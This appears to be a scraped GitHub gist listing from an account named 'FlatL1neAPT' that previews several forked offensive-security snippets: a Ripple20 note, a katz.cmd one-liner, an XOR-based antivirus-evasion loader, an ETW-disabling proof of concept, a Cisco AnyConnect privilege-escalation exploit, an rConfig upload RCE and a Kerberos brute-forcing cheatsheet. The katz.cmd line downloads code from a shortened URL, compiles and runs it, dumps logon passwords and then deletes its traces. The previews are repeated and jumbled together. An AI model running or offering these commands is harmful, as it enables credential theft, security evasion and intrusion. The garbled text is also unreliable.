FlatL1ne FlatL1neAPT

## 20200618-TLP-WHITE_Ripple20.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                FlatL1neAPT
                / 20200618-TLP-WHITE_Ripple20.md
            
            
              Created
              June 20, 2020 10:59
                — forked from SwitHak/20200618-TLP-WHITE_Ripple20.md
            
              
                BlueTeam CheatSheet * Ripple20 * | Last updated: 2020-06-18 2201 UTC
              
          
    Ripple20, set of vulnerabilities inside Treck / KASAGO IP Stacks

General


Ripple20 is the codename to a set of 19 vulnerabilities discovered by the cybersecurity team JSOF.
These vulnerabilities are inside an IP stack, selled under two different names (Treck TCP/IP for U.S market Kasago TCP/IP, for Asia market.
-These two stacks were bought and used under privated-labeled by several softwares companies, some known names are: GHnetv2, Kwiknet, Quadnet.
But there's more, these stacks were also integrated, sometimes with modifications, inside several RTOS (real-time operating system).
Last, some of the vulnerabilities, depending the device operating system, configuration or location can have greater or lower CVSS score.
My advice is for companies to ask their suppliers if they use one of this stack and assess the risk following their company risk policy.
This will not be an easy set of vulnerabilities to patch, sadly.


## css.html
<!DOCTYPE html>
<html lang="en" dir="ltr">
	<head>
		<meta charset="utf-8">
		<title></title>
				<h1>working on chrome linux & mac</h1>
    <a href="" target=_blank>click me before</a>
	</head>
	<body>
		<button type="button" id=clickme name="button">click me</button>

## katz.cmd
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe /reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug sekurlsa::logonpasswords exit && del katz.*

## NetLoader.cs
/*
Author: Arno0x0x, Twitter: @Arno0x0x
Completely based on @Flangvik netloader

This partial rewrite of @Flangvik Netloader includes the following changes:

	- Allow loading of an XOR encrypted binary to bypass antiviruses
		To encrypt the initial binary you can use my Python transformFile.py script.
		Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor


## env_var_spoofing_poc.cpp
// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on
// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET.
//
// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables,
// and then resuming the process.
//
// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/)

#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0"
#define INJECT_PARAM_LEN 43

## env_var_spoofing_poc.cpp
// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on
// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET.
//
// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables,
// and then resuming the process.
//
// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/)

#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0"
#define INJECT_PARAM_LEN 43

## common-domain-prefix-suffix-list.tsv

          
            Rank
            Type
            Prefix/Suffix

            
              1.
              Prefix
              my+

            
              2.
              Suffix
              +online

            
              3.
              Prefix
              the+

            
              4.
              Suffix
              +web

            
              5.
              Suffix
              +media

            
              6.
              Prefix
              web+

            
              7.
              Suffix
              +world

            
              8.
              Suffix
              +net

            
              9.
              Prefix
              go+

## Invoke-ExploitAnyConnectPathTraversal.psm1
<#
 .Synopsis
  This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows

 .Description
  This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows.
  When the -Command argument isn't provided a DLL is created at C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

  This DLL is used by the On-Screen Keyboard (osk.exe) of Windows, which is exposed on the login/lock screen.
  Opening the On-Screen Keyboard on this screen will run our DLL with LocalSystem privileges.

## Rconfig File Upload RCE Exploit
Remote Code Execution via File Upload (CVE-2020-12255)


The rConfig 3.9.4 is vulnerable to remote code execution due to improper checks/validation via the file upload functionality.
The vendor.crud.php accepts the file upload by checking through content-type and it is not restricting upload by checking the file extension and header.
Due to this flaw, An attacker can exploit this vulnerability by uploading a PHP file that contains arbitrary code (shell) and changing the content-type to `image/gif` in the vendor.crud.php.
since the validation checks are happening through content-type the server would accept the PHP file uploaded ultimately resulting code execution upon the response when invoked.


Steps To Reproduce-:

## kerberos_attacks_cheatsheet.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                FlatL1neAPT
                / kerberos_attacks_cheatsheet.md
            
            
              Created
              August 29, 2019 19:37
                — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
            
              
                A cheatsheet with commands that can be used to perform kerberos attacks
              
          
    Kerberos cheatsheet

Bruteforcing

With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:
	<!DOCTYPE html>
	<html lang="en" dir="ltr">
	<head>
	<meta charset="utf-8">
	<title></title>
	<h1>working on chrome linux & mac</h1>
	<a href="" target=_blank>click me before</a>
	</head>
	<body>
	<button type="button" id=clickme name="button">click me</button>
	/*
	Author: Arno0x0x, Twitter: @Arno0x0x
	Completely based on @Flangvik netloader

	This partial rewrite of @Flangvik Netloader includes the following changes:

	- Allow loading of an XOR encrypted binary to bypass antiviruses
	To encrypt the initial binary you can use my Python transformFile.py script.
	Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor
	// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on
	// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET.
	//
	// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables,
	// and then resuming the process.
	//
	// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/)

	#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0"
	#define INJECT_PARAM_LEN 43
Rank	Type	Prefix/Suffix
1.	Prefix	my+
2.	Suffix	+online
3.	Prefix	the+
4.	Suffix	+web
5.	Suffix	+media
6.	Prefix	web+
7.	Suffix	+world
8.	Suffix	+net
9.	Prefix	go+
	<#
	.Synopsis
	This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows

	.Description
	This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows.
	When the -Command argument isn't provided a DLL is created at C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

	This DLL is used by the On-Screen Keyboard (osk.exe) of Windows, which is exposed on the login/lock screen.
	Opening the On-Screen Keyboard on this screen will run our DLL with LocalSystem privileges.
	Remote Code Execution via File Upload (CVE-2020-12255)


	The rConfig 3.9.4 is vulnerable to remote code execution due to improper checks/validation via the file upload functionality.
	The vendor.crud.php accepts the file upload by checking through content-type and it is not restricting upload by checking the file extension and header.
	Due to this flaw, An attacker can exploit this vulnerability by uploading a PHP file that contains arbitrary code (shell) and changing the content-type to `image/gif` in the vendor.crud.php.
	since the validation checks are happening through content-type the server would accept the PHP file uploaded ultimately resulting code execution upon the response when invoked.


	Steps To Reproduce-: